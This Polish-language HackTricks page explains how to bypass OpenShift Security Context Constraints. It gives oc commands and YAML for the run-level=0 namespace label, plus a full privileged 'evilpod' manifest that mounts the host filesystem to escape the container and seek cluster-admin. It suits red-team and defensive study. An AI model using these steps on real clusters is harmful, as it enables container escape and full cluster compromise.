Openshift - SCC bypass
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Oryginalnym autorem tej strony jest Guillaume
Privileged Namespaces
Domyślnie, SCC nie stosuje się do następujących projektów:
- default
- kube-system
- kube-public
- openshift-node
- openshift-infra
- openshift
Jeśli wdrożysz pody w jednym z tych przestrzeni nazw, żadne SCC nie będzie egzekwowane, co pozwala na wdrażanie uprzywilejowanych podów lub montowanie systemu plików hosta.
Namespace Label
Istnieje sposób na wyłączenie zastosowania SCC na twoim podzie zgodnie z dokumentacją RedHat. Będziesz potrzebować przynajmniej jednej z następujących uprawnień:
- Utwórz przestrzeń nazw i utwórz pod w tej przestrzeni nazw
- Edytuj przestrzeń nazw i utwórz pod w tej przestrzeni nazw
$ oc auth can-i create namespaces
yes
$ oc auth can-i patch namespaces
yes
Specyficzna etykieta openshift.io/run-level umożliwia użytkownikom obejście SCC dla aplikacji. Zgodnie z dokumentacją RedHat, gdy ta etykieta jest używana, żadne SCC nie są egzekwowane na wszystkich podach w danej przestrzeni nazw, skutecznie usuwając wszelkie ograniczenia.

Dodaj etykietę
Aby dodać etykietę w swojej przestrzeni nazw:
$ oc label ns MYNAMESPACE openshift.io/run-level=0
Aby utworzyć przestrzeń nazw z etykietą za pomocą pliku YAML:
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0
Teraz wszystkie nowe pody utworzone w przestrzeni nazw nie powinny mieć żadnych SCC
$ oc get pod -o yaml | grep 'openshift.io/scc'
$
W przypadku braku SCC nie ma żadnych ograniczeń dotyczących definicji twojego poda. Oznacza to, że złośliwy pod może być łatwo utworzony, aby uciec na system gospodarza.
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
Teraz łatwiej jest eskalować uprawnienia, aby uzyskać dostęp do systemu hosta, a następnie przejąć cały klaster, uzyskując uprawnienia ‘cluster-admin’. Szukaj części Node-Post Exploitation na poniższej stronie:
Attacking Kubernetes from inside a Pod
Niestandardowe etykiety
Ponadto, w zależności od docelowej konfiguracji, niektóre niestandardowe etykiety / adnotacje mogą być używane w ten sam sposób, co w poprzednim scenariuszu ataku. Nawet jeśli nie są do tego przeznaczone, etykiety mogą być używane do nadawania uprawnień, ograniczania lub niekoniecznie konkretnego zasobu.
Spróbuj poszukać niestandardowych etykiet, jeśli możesz odczytać niektóre zasoby. Oto lista interesujących zasobów:
- Pod
- Deployment
- Namespace
- Service
- Route
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5
Wypisz wszystkie uprzywilejowane przestrzenie nazw
$ oc get project -o yaml | grep 'run-level' -b5
Zaawansowane wykorzystanie
W OpenShift, jak pokazano wcześniej, posiadanie uprawnień do wdrożenia poda w przestrzeni nazw z etykietą openshift.io/run-level może prowadzić do prostego przejęcia klastra. Z perspektywy ustawień klastra, ta funkcjonalność nie może być wyłączona, ponieważ jest wbudowana w projekt OpenShift.
Jednakże, środki łagodzące, takie jak Open Policy Agent GateKeeper, mogą zapobiegać użytkownikom w ustawianiu tej etykiety.
Aby obejść zasady GateKeepera i ustawić tę etykietę w celu przejęcia klastra, atakujący musieliby zidentyfikować alternatywne metody.
Odniesienia
- https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html
- https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html
- https://github.com/open-policy-agent/gatekeeper
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

